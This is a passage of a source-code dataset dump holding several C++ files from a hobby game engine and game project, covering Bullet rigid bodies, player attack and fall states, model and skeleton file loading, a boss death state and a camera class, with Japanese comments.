"text": "#include \"PreCompile.h\"\n#include \"Physics/RigidBody.h\"\n#include \"Physics/ICollider.h\"\n\nnamespace UER\n{\n\tRigidBody::~RigidBody()\n\t{\n\t\tRelease();\n\t}\n\tvoid RigidBody::Release()\n\t{\n\t\tdelete rigidBody;\n\t\tdelete myMotionState;\n\t\trigidBody = nullptr;\n\t\tmyMotionState = nullptr;\n\t}\n\tvoid RigidBody::Create(RigidBodyInfo& rbInfo)\n\t{\n\n\t\tRelease();\n\t\tbtTransform transform;\n\t\ttransform.setIdentity();\n\t\ttransform.setOrigin(btVector3(rbInfo.pos.x, rbInfo.pos.y, rbInfo.pos.z));\n\t\ttransform.setRotation(btQuaternion(rbInfo.rot.x, rbInfo.rot.y, rbInfo.rot.z, rbInfo.rot.w));\n\t\tmyMotionState = new btDefaultMotionState;\n\t\tmyMotionState->setWorldTransform(transform);\n\n\t\tbtVector3 inertia = btVector3(0, 0, 0);\n\t\tif (rbInfo.mass != btScalar(0.0))\n\t\t\trbInfo.collider->GetBody()->calculateLocalInertia(rbInfo.mass, inertia);\n\t\tbtRigidBody::btRigidBodyConstructionInfo btRbInfo(rbInfo.mass, myMotionState, rbInfo.collider->GetBody(), inertia);\n\t\t//剛体を作成。\n\t\trigidBody = new btRigidBody(btRbInfo);\n\n\t}\n}"
},
{
"alpha_fraction": 0.680778980255127,
"alphanum_fraction": 0.6837425827980042,
"avg_line_length": 23.842105865478516,
"blob_id": "4976acee87cc0790a1a3fa90d047f53fdadd48ed",
"content_id": "f8cd1d94cd73dda2875afda4a55356bb6125e949",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2362,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 95,
"path": "/Game/Player/Attack/MeleePreset/PlayerAttackTackle.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackTackle.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"Camera/GameCamera.h\"\n\nPlayerAttackTackle::PlayerAttackTackle() {\n\n}\n\nPlayerAttackTackle::~PlayerAttackTackle() {\n\n}\n\nvoid PlayerAttackTackle::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack tackle combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\n\tif (player->GetCurrentBoost() < m_BoostCost) {\n\t\tm_canDoAttack = false;\n\t\treturn;\n\t}\n\telse {\n\t\tm_canDoAttack = true;\n\t}\n\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enTackle);\n\n\tplayer->UseBoost(m_BoostCost);\n\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n\tplayer->FireThrusters();\n\n\tm_tackleVelocity = player->GetForward();\n\n\tauto gc = GameManager::GetInstance().GetGameCamera();\n\tif (gc != nullptr and gc->IsTargettingEnemy()) {\n\t\tauto target = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\t\tm_tackleVelocity = target->GetPosition() - player->GetPosition();\n\t\tm_tackleVelocity.Normalize();\n\n\t\tauto& crot = g_camera3D->GetCameraRotation();\n\t\tplayer->SetRotation(crot);\n\t}\n\n\tm_tackleVelocity *= m_tacklePower;\n\tplayer->SetVelocity(m_tackleVelocity);\n\n}\n\nvoid PlayerAttackTackle::Execute(Player* player) {\n\n\tif (!m_canDoAttack) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\t//m_timer += delta;\n\n\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\tif ((player->GetPosition() - epos).Length() < m_range) {\n\n\t\t\tauto vecKb = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition() - player->GetPosition();\n\t\t\tvecKb.y = 0;\n\t\t\tvecKb.Normalize();\n\t\t\tvecKb.y = 2.f;\n\t\t\tvecKb.Normalize();\n\t\t\tvecKb *= m_knockBackPower;\n\n\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_damageAmount, true, vecKb);\n\n\t\t\tauto se = NewGO< CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/chara/punch1.wav\", true);\n\t\t\tse->Play(false);\n\n\t\t\tm_isDone = true;\n\t\t}\n\t}\n\n\tif (!player->IsPlayingAnimation()) {\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\n\tif(m_timer > m_interval)\n\t\tm_isDone = true;\n\n}\n\n\n"
},
{
"alpha_fraction": 0.6615626215934753,
"alphanum_fraction": 0.6749116778373718,
"avg_line_length": 23.028301239013672,
"blob_id": "a31655faf62faa3ea3234cb0b4ee58cb13a6161e",
"content_id": "2ac6764ca9e8399064f0642268f90f66446160fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2552,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 106,
"path": "/Game/Player/State/PlayerFallState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "WINDOWS-1252",
"text": "#include \"stdafx.h\"\n#include \"PlayerFallState.h\"\n#include \"../../Camera/GameCamera.h\"\n#include \"HUD/KeyHelp.h\"\n#include <cmath>\n\nPlayerFallState::PlayerFallState()\n{\n}\n\nPlayerFallState::~PlayerFallState()\n{\n\tif (m_keyHelp_brake != nullptr) {\n\t\tDeleteGO(m_keyHelp_brake);\n\t}\n}\n\nvoid PlayerFallState::Enter(Player* p){\n\n\t//p->StopThrusters();\n\n\tm_velocity = p->GetLocalVelocity();\n\tp->PlayAnimation(Player::EnAnimation::enIdle, m_AnimInterpolate);\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player Enter Fall State\\n\");\n#endif\n\tif (m_keyHelp_brake == nullptr) {\n\t\tm_keyHelp_brake = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_brake->Init(keyHelpPos, L\"R2:Œ¸‘¬\");\n\t}\n\telse {\n\t\t//m_keyHelp_brake->SetActive(true);\n\t}\n\tm_keyHelp_brake->Display();\n}\n\nIPlayerState* PlayerFallState::Update(Player* p) {\n\n\tif (p->IsOnGround()) {\n\t\tauto nextState = p->GetState(Player::EnState::enGround);\n\t\treturn nextState;\n\t}\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonA)) {\n\t\tauto nextState = p->GetState(Player::EnState::enFlying);\n\t\treturn nextState;\n\t}\n\n\t//Move\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\tauto r2f = g_pad[0]->GetR2Button();\n\n\tm_velocityGoal.x = lxf * m_VELOCITY_MAX;\n\tm_velocityGoal.z = lyf * m_VELOCITY_MAX;\n\tif (g_pad[0]->IsPress(enButtonRB2)) {\n\t\tm_velocityGoal.y = m_GRAVITY * 0.25f;\n\t}\n\telse {\n\t\tm_velocityGoal.y = m_GRAVITY;\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\tauto cam = g_lockCamera3D.Get();\n\tauto forward = cam->GetForward();\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tm_velocity.x = Approach(m_velocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_velocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\tm_velocity.y = Approach(m_velocityGoal.y, m_velocity.y, delta * m_QUICKNESS);\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x + up * m_velocity.y;\n\n\tvel *= p->GetSpeed();\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\t//Rotation\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\t}\n\n\tp->ChargeEndurance(m_ENDURANCE_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\n\treturn this;\n}\n\nvoid PlayerFallState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Exit FallState\\n\");\n#endif\n\t//m_keyHelp_brake->SetActive(false);\n\t\n\tm_keyHelp_brake->Undisplay();\n}\n"
},
{
"alpha_fraction": 0.6572118401527405,
"alphanum_fraction": 0.6602293252944946,
"avg_line_length": 15.747474670410156,
"blob_id": "641c4bb950abfab14219277d631db94ff55fc200",
"content_id": "a94c00c1cb12e9f4de9dd110c57dfdbb498c0be2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2017,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 99,
"path": "/Game/Game.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\nclass IEnemy;\n\n/// <summary>\n/// ゲーム\n/// </summary>\nclass Game :public GameObject\n{\npublic:\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid OnEnterBattle(IEnemy* enemy);\n\n\tvoid OnEnemyDied(IEnemy* enemy);\n\n\tvoid OnItemUnlocked();\n\n\tvoid EndBossPerform()\n\t{\n\t\tm_isBossCamPerform = false;\n\t}\n\n\tvoid OnGoal();\n\n\tvoid GoalGatePerformance();\n\n\tvoid ToTitle();\n\n\tvoid Restart();\n\nprivate:\n\tbool m_isCreateEnemyManager = false;\t\t//EnemyManagerを作成したかどうか。\n\tbool m_isBossCamPerform = false;\n\tIEnemy* m_boss = nullptr;\n\tbool m_isCalledExplode = false ;\n\tfloat m_timer = 0.f;\n\n\tbool m_isGenerateGoalAfterBossPerformance = false;\n\tfloat m_goalAppearTimer = 0.f;\n\tfloat m_goalAppearTime = 2.8f;\n\n\tdouble m_clearTimer = 0.f;\n\n\tbool m_isCleared = false;\n\n\tbool m_restartFlag = false;\n\tbool m_toTitleFlag = false;\n\n\tbool m_engingFlag = false;\n\n\tCSoundSource* m_windSE = nullptr;\n};"
},
{
"alpha_fraction": 0.6747347712516785,
"alphanum_fraction": 0.6830238699913025,
"avg_line_length": 19.657533645629883,
"blob_id": "518906b80b9e24b0081f5c72869e5240eac150ec",
"content_id": "caa43a82e911b9645f2566ae0899a8d02d054ec6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3140,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 146,
"path": "/UsualEngineR/Graphics/Model.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Model.h\"\n\n\nnamespace UER\n{\n\tstatic std::vector<double> tkmtime;\n\tstatic std::vector<double> tkstime;\n\tstatic std::vector<double> meshtime;\n\tstatic std::vector<double> totaltime;\n\tstatic int c=0;\n\tstatic std::mutex debugMute;\n\n\tModel::~Model()\n\t{\n\t\tRelease();\n\t}\n\n\tvoid Model::Release()\n\t{\n\t\tfor (auto ik : m_ikList)\n\t\t{\n\t\t\tdelete ik;\n\t\t}\n\t}\n\n\tvoid Model::Init(const ModelInitData& initData)\n\t{\n\t\t//std::lock_guard<std::mutex> lg(debugMute);\n\t\t\n\n\t\tm_upAxis = initData.m_upAxis;\n\n\t\t//内部のシェーダーをロードする処理が求めているのが\n\t\t//wchar_t型の文字列なので、ここで変換しておく。\n\t\twchar_t wfxFilePath[256];\n\t\twchar_t wpsfxFilePath[256];\n\t\tif (initData.m_vsfxFilePath == nullptr || initData.m_psfxFilePath == nullptr) {\n\t\t\tMessageBox(nullptr, L\"fxファイルパスが指定されていません\", L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t\tmbstowcs(wfxFilePath, initData.m_vsfxFilePath, 256);\n\t\tmbstowcs(wpsfxFilePath, initData.m_psfxFilePath, 256);\n\t\n\t\tm_tkmFile = TkmFile::GetManager().Load(initData.m_tkmFilePath);\n\t\t//m_tkmFile.Load(initData.m_tkmFilePath);\n\n\t\t\n\t\tif (initData.m_tksFilePath)\n\t\t{\n\t\t\tm_skeleton.Init(initData.m_tksFilePath);\n\t\t\tm_skeleton.BuildBoneMatrices();\n\t\t\t//m_skeleton.CalcBoneMatrixInRootBoneSpace();\n\t\t\tBindSkeleton(m_skeleton);\n\t\t}\n\t\t\n\t\tm_meshParts.InitFromTkmFile(\n\t\t\t*m_tkmFile, \n\t\t\twfxFilePath,\n\t\t\twpsfxFilePath,\n\t\t\tinitData.m_vsEntryPointFunc,\n\t\t\tinitData.m_psEntryPointFunc,\n\t\t\tinitData.m_expandConstantBuffer,\n\t\t\tinitData.m_expandConstantBufferSize,\n\t\t\tinitData.m_expandShaderResoruceView,\n\t\t\tinitData.m_emmissionMap\n\t\t);\n\n\t\tUpdateWorldMatrix(g_vec3Zero, g_quatIdentity, g_vec3One);\n\n\n\t}\n\t\n\tvoid Model::UpdateWorldMatrix(const Vector3& pos, const Quaternion& rot, const Vector3& scale)\n\t{\n\t\tMatrix mBias;\n\t\tif (m_upAxis == enUpAxisZ) {\n\t\t\t//Z-up\n\t\t\tmBias.MakeRotationX(Math::PI * -0.5f);\n\t\t}\n\t\t/*Matrix mTrans, mRot, mScale;\n\t\tmTrans.MakeTranslation(pos);\n\t\tmRot.MakeRotationFromQuaternion(rot);\n\t\tmScale.MakeScaling(scale);\n\t\tm_world = mBias * mScale * mRot * mTrans;*/\n\n\t\tMatrix mW(pos, scale, rot);\n\t\tm_world = mBias * mW;\n\t}\n\tvoid Model::UpdateSkeleton()\n\t{\n\t\tm_skeleton.Update(m_world);\n\t}\n\tvoid Model::UpdateIKTarget()\n\t{\n\t\tfor (auto ik : m_ikList)\n\t\t{\n\t\t\tik->UpdateTarget(m_world);\n\t\t}\n\t}\n\tvoid Model::UpdateIK()\n\t{\n\t\tfor (auto ik : m_ikList)\n\t\t{\n\t\t\tik->UpdateTarget(m_world);\n\t\t\tik->Update(m_world);\n\t\t}\n\t}\n\tvoid Model::Draw(RenderContext& rc, const Vector4& mulcolor)\n\t{\n\t\tm_meshParts.Draw(\n\t\t\trc,\n\t\t\tm_world,\n\t\t\tg_camera3D->GetViewMatrix(),\n\t\t\tg_camera3D->GetProjectionMatrix(),\n\t\t\tmulcolor\n\t\t);\n\t\t\n\t}\n\n\tvoid Model::DrawInstanced(RenderContext& rc, int instanceNum, const Vector4& mulcolor)\n\t{\n\t\tm_meshParts.DrawInstanced(\n\t\t\trc,\n\t\t\tinstanceNum,\n\t\t\tm_world,\n\t\t\tg_camera3D->GetViewMatrix(),\n\t\t\tg_camera3D->GetProjectionMatrix(),\n\t\t\tmulcolor\n\t\t);\n\t}\n\n\tvoid Model::DrawShadow(RenderContext& rc)\n\t{\n\t\tm_meshParts.DrawShadow(rc, m_world);\n\t}\n\n\tIK* Model::CreateIK(Bone* startBone, Bone* endBone, float radius)\n\t{\n\t\tIK* ik = new IK(&m_skeleton, startBone, endBone, radius);\n\t\tm_ikList.push_back(ik);\n\t\treturn ik;\n\t}\n\n\n}\n"
},
{
"alpha_fraction": 0.6776251196861267,
"alphanum_fraction": 0.6790971755981445,
"avg_line_length": 23.530120849609375,
"blob_id": "2a9bf011868547f726c2d1c58cc5a04dff2df0a8",
"content_id": "5c7ed3b95cb789f66d4dafc75b548d8d504ec5bb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2062,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 83,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackThrowPod.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackThrowPod.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"../../Pod/Pod.h\"\n\nPlayerAttackThrowPod::PlayerAttackThrowPod() {\n\n}\n\nPlayerAttackThrowPod::~PlayerAttackThrowPod() {\n\n}\n\nvoid PlayerAttackThrowPod::Init(Player* player, int combo) {\n\n\t//Idle状態でないなら投げれない.\n\tif (!player->GetPod()->IsIdle()) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\n\tif (player->GetCurrentEndurance() < m_StaminaCost or player->GetCurrentBoost() < m_BoostCost) {\n\t\tm_canDoAttack = false;\n\t\treturn;\n}\n\telse {\n\t\tm_canDoAttack = true;\n\t}\n\n\tthrewFlag = false;\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack throw-pod combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\n\t//player->GetPod()->SetPosition();\n\tm_isDone = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enThrow);\n\n\tplayer->UseStamina(m_StaminaCost);\n\tplayer->UseBoost(m_BoostCost);\n\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n}\n\nvoid PlayerAttackThrowPod::Execute(Player* player) {\n\n\tif (!m_canDoAttack) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\n\tconst int numEvent = player->GetAnimationMap().at(TO_INT(Player::EnAnimation::enThrow))->GetNumAnimationEvent();\n\tconst auto& animationEvent = player->GetAnimationMap().at(TO_INT(Player::EnAnimation::enThrow))->GetAnimationEvent();\n\n\tif (!threwFlag) {\n\t\tauto handPos = player->GetBone(Player::EnPlayerBone::enHand_L)->GetWorldMatrix().GetTransrate();\n\t\tplayer->GetPod()->SetPosition(handPos);\n\t}\n\n\tfor (int i = 0; i < numEvent; i++) {\n\t\tif (!threwFlag and animationEvent[i].IsInvoked()) {\n\t\t\tauto name = animationEvent[i].GetEventName();\n\t\t\tif (wcscmp(name, L\"throw\") == 0) {\n\t\t\t\tauto vel = player->GetForward() * m_throwPower;\n\t\t\t\tplayer->GetPod()->Thrown(vel);\n\t\t\t\tthrewFlag = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!player->IsPlayingAnimation()) {\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n\n}\n\n\n"
},
{
"alpha_fraction": 0.6093916893005371,
"alphanum_fraction": 0.6211312413215637,
"avg_line_length": 21.85365867614746,
"blob_id": "cad02108af165d8c43040ef0b0271c81a8e125bf",
"content_id": "30b9271e9fa3e14eb5a494a8cf74e7766446a45f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1043,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 41,
"path": "/UsualEngineR/tkFile/TksFile.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"tkFile/TksFile.h\"\n\n\nnamespace UER\n{\n\tTkFileManager<TksFile> TksFile::m_manager;\n\n\tvoid TksFile::LoadImplement(const char* filePath)\n\t{\n\t\tauto fp = fopen(filePath, \"rb\");\n\t\tif (fp == nullptr) {\n\t\t\tMessageBoxA(NULL, \"NOT FOUND TKLEVEL FILE\", \"ERROR\", MB_OK);\n\t\t\tstd::abort();\n\t\t\treturn;\n\t\t}\n\t\t//骨の数を取得。\n\t\tfread(&m_numBone, sizeof(m_numBone), 1, fp);\n\t\tm_bones.resize(m_numBone);\n\t\tfor (int i = 0; i < m_numBone; i++) {\n\t\t\tauto& bone = m_bones.at(i);\n\t\t\tsize_t nameCount = 0;\n\t\t\t//骨の名前を取得。\n\t\t\tfread(&nameCount, 1, 1, fp);\n\t\t\tbone.name = std::make_unique<char[]>(nameCount + 1);\n\t\t\tfread(bone.name.get(), nameCount + 1, 1, fp);\n\t\t\t//親のIDを取得。\n\t\t\tfread(&bone.parentNo, sizeof(bone.parentNo), 1, fp);\n\t\t\t//バインドポーズを取得。\n\t\t\tfread(bone.bindPose, sizeof(bone.bindPose), 1, fp);\n\t\t\t//バインドポーズの逆数を取得。\n\t\t\tfread(bone.invBindPose, sizeof(bone.invBindPose), 1, fp);\n\t\t\t//ボーンの番号。\n\t\t\tbone.no = i;\n\t\t}\n\t\n\t\tfclose(fp);\n\t}\n\n\n}\n"
},
{
"alpha_fraction": 0.7403314709663391,
"alphanum_fraction": 0.7403314709663391,
"avg_line_length": 18.567567825317383,
"blob_id": "3573d42cdda087f51563e188741a31e1ef856c7e",
"content_id": "3179e095172256653bc4e67c1f67232d562576ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 724,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 37,
"path": "/Game/Enemy/State/MiddleBombState/BossBombDeadState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombDeadState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"Enemy/BossBGM.h\"\n#include \"../../Drop/DropItemBom.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n\nBossBombDeadState::BossBombDeadState()\n{\n}\n\nBossBombDeadState::~BossBombDeadState()\n{\n}\n\nvoid BossBombDeadState::Enter(IEnemy* e)\n{\n\tm_pos = e->GetPosition();\n\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Bomb, false);\n\tGameManager::GetInstance().m_gameScene->OnEnemyDied(e);\n}\n\nIEnemyState* BossBombDeadState::Update(IEnemy* e)\n{\n\treturn this;\n}\n\nvoid BossBombDeadState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombDeadState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6923389434814453,
"alphanum_fraction": 0.7106279134750366,
"avg_line_length": 24.899999618530273,
"blob_id": "cbf770cdc5d1f8bfdf2a36d28e25923c9448939b",
"content_id": "653f81bbdee236a6c772fff4da43214aefaa1aad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5563,
"license_type": "no_license",
"max_line_length": 239,
"num_lines": 190,
"path": "/Game/Camera/GameCamera.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"CCameraCollisionSlover.h\"\n#include \"SpringCamera.h\"\n#include <tuple>\n\nclass Player;\nclass IEnemy;\nclass PositionChecker;\n\n/// <summary>\n/// \n/// </summary>\nclass GameCamera :public GameObject\n{\npublic:\n\n\tenum class State {\n\t\tenEnemyCamera,\n\t\tenPlayerCamera,\n\t\tenSlerpPerformanceCamera,\n\t\tenLerpPerformanceCamera,\n\t\tenNumState\n\t};\n\n\tGameCamera();\n\tvirtual ~GameCamera();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\n\tvoid PostUpdate() override;\n\n\tbool IsTargettingEnemy() {\n\t\treturn m_state == State::enEnemyCamera;\n\t}\n\n\tvoid Reset() {\n\t\tm_state = State::enPlayerCamera;\n\t\tm_cameraChangeRatio = 1.f;\n\t\tm_playerCameraPreviousPos = m_playerCameraPos = m_position = m_charaPos + m_position;\n\t\tg_camera3D->SetTarget({ 0.0f, 0.0f, 0.0f });\n\t\tg_camera3D->SetPosition(m_position);\n\t\tm_toCameraPos.Set(0.0f, 6.0f, -30.f);\n\t\tm_dist = m_toCameraPos;\n\t}\n\n\t/// <summary>\n\t/// 球面線形補完演出カメラ.\n\t/// </summary>\n\t/// <param name=\"cameraBeginPos\">球面線形補間開始座標</param>\n\t/// <param name=\"cameraEndPos\">球面線形補間終了座標</param>\n\t/// <param name=\"targetBeginPos\">ターゲット線形補完開始座標</param>\n\t/// <param name=\"targetEndPos\">ターゲット線形補完終了座標</param>\n\t/// <param name=\"centerPos\">球面線形補完中心座標</param>\n\t/// <param name=\"sec\">補完時間(秒)</param>\n\t//void Perform(const Vector3& cameraBeginPos, const Vector3& cameraEndPos, const Vector3& targetBeginPos, const Vector3& targetEndPos, const Vector3& centerPos, const float sec);\n\n\t/// <summary>\n\t/// 線形補完演出カメラ\n\t/// </summary>\n\t/// <param name=\"cameraBeginPos\"></param>\n\t/// <param name=\"cameraEndPos\"></param>\n\t/// <param name=\"targetBeginPos\"></param>\n\t/// <param name=\"targetEndPos\"></param>\n\t/// <param name=\"sec\"></param>\n\tvoid Perform(const Vector3& cameraBeginPos, const Vector3& cameraEndPos, const Vector3& targetBeginPos, const Vector3& targetEndPos,const float sec, const float resumeInterval = 0.f, const State stateAfterPerform = State::enPlayerCamera);\n\n\tvoid ChangePlayerCam()\n\t{\n\t\tm_state = State::enPlayerCamera;\n\t\tm_cameraChangeRatio = 1.f;\n\t}\n\n\tvoid ChangeStateToEnemyCam() {\n\t\tm_state = State::enEnemyCamera;\n\t\tm_cameraChangeRatio = 0.f;\n\t}\n\n\tconst bool IsPerforming() {\n\t\treturn m_isPerforming;\n\t}\n\nprivate:\n\t\n\tState m_state = State::enPlayerCamera;\n\n\tbool isChanging = false;\n\n\tconst float m_swivelSpeed = 150.f;\n\tconst float m_transitionSpeed = 2.f;\n\tconst Vector3 m_furtherTargetHeight = { 0.f,12.f,0.f };\n\tconst Vector3 m_DefaultPosition = { 0,3,-60 };\n\tVector3 m_position = m_DefaultPosition;\n\tVector3 m_old = { 0,3,15 };\n\tVector3 m_dist = Vector3::Zero;\n\tVector3 m_targetPos = Vector3::Zero;\n\tVector3 m_charaPos = Vector3::Zero;\n\tQuaternion m_rot = Quaternion::Identity;\n\n\tvoid UpdateState();\n\tvoid CalcTarget();\n\tvoid CalcEnemyCamera();\n\tvoid CalcPlayerCamera();\n\t//void CalcSlerpPerformanceCamera();\n\tvoid CalcLerpPerformanceCamera();\n\n\t/// <summary>\n\t/// カメラのターゲットになる敵を計算. (存在しない場合は-1を返す).\n\t/// </summary>\n\t/// <returns>カメラ中央に見える敵のインデックス, カメラの左側に見える敵のインデックス, カメラの右側に見える敵のインデックス</returns>\n\tstd::tuple<int, int, int> GetTargetEnemyIndexes();\n\n\tVector3 m_playerCameraPos = m_position;\n\tVector3 m_playerCameraPreviousPos = m_position;\n\tVector3 m_playerCameraTargetPos = Vector3::Zero;\n\n\tVector3 m_enemyCameraPos = m_position;\n\tVector3 m_enemyCameraTargetPos = Vector3::Zero;\n\n\t//パフォーマンス用変数\n\tfloat m_pfrmTimeSec = 0.f;\n\tfloat m_pfrmTimer = 0.f;\n\tfloat m_pfrmCameraChangeRatio = 0.f;\n\tfloat m_pfrmGameResumeInterval = 0.f;\n\tVector3 m_pfrmCenterPos = Vector3::Zero;\n\tVector3 m_pfrmCamBeginPos = Vector3::Zero;\n\tVector3 m_pfrmCamEndPos = Vector3::Zero;\n\tVector3 m_pfrmTarBeginPos = Vector3::Zero;\n\tVector3 m_pfrmTarEndPos = Vector3::Zero;\n\tState m_afterPerformState = State::enPlayerCamera;\n\n\n\t//test\n\tVector3 m_enemyCameraNextTargetPos = Vector3::Zero;\n\tVector3 m_enemyCameraCurrentTargetPos = Vector3::Zero;\n\n\tVector3 m_toCameraPos;\n\n\tfloat m_cameraChangeRatio = 1.f;\n\n\t//Physics\n\t//SpringCamera m_spc;\n\tCCameraCollisionSlover 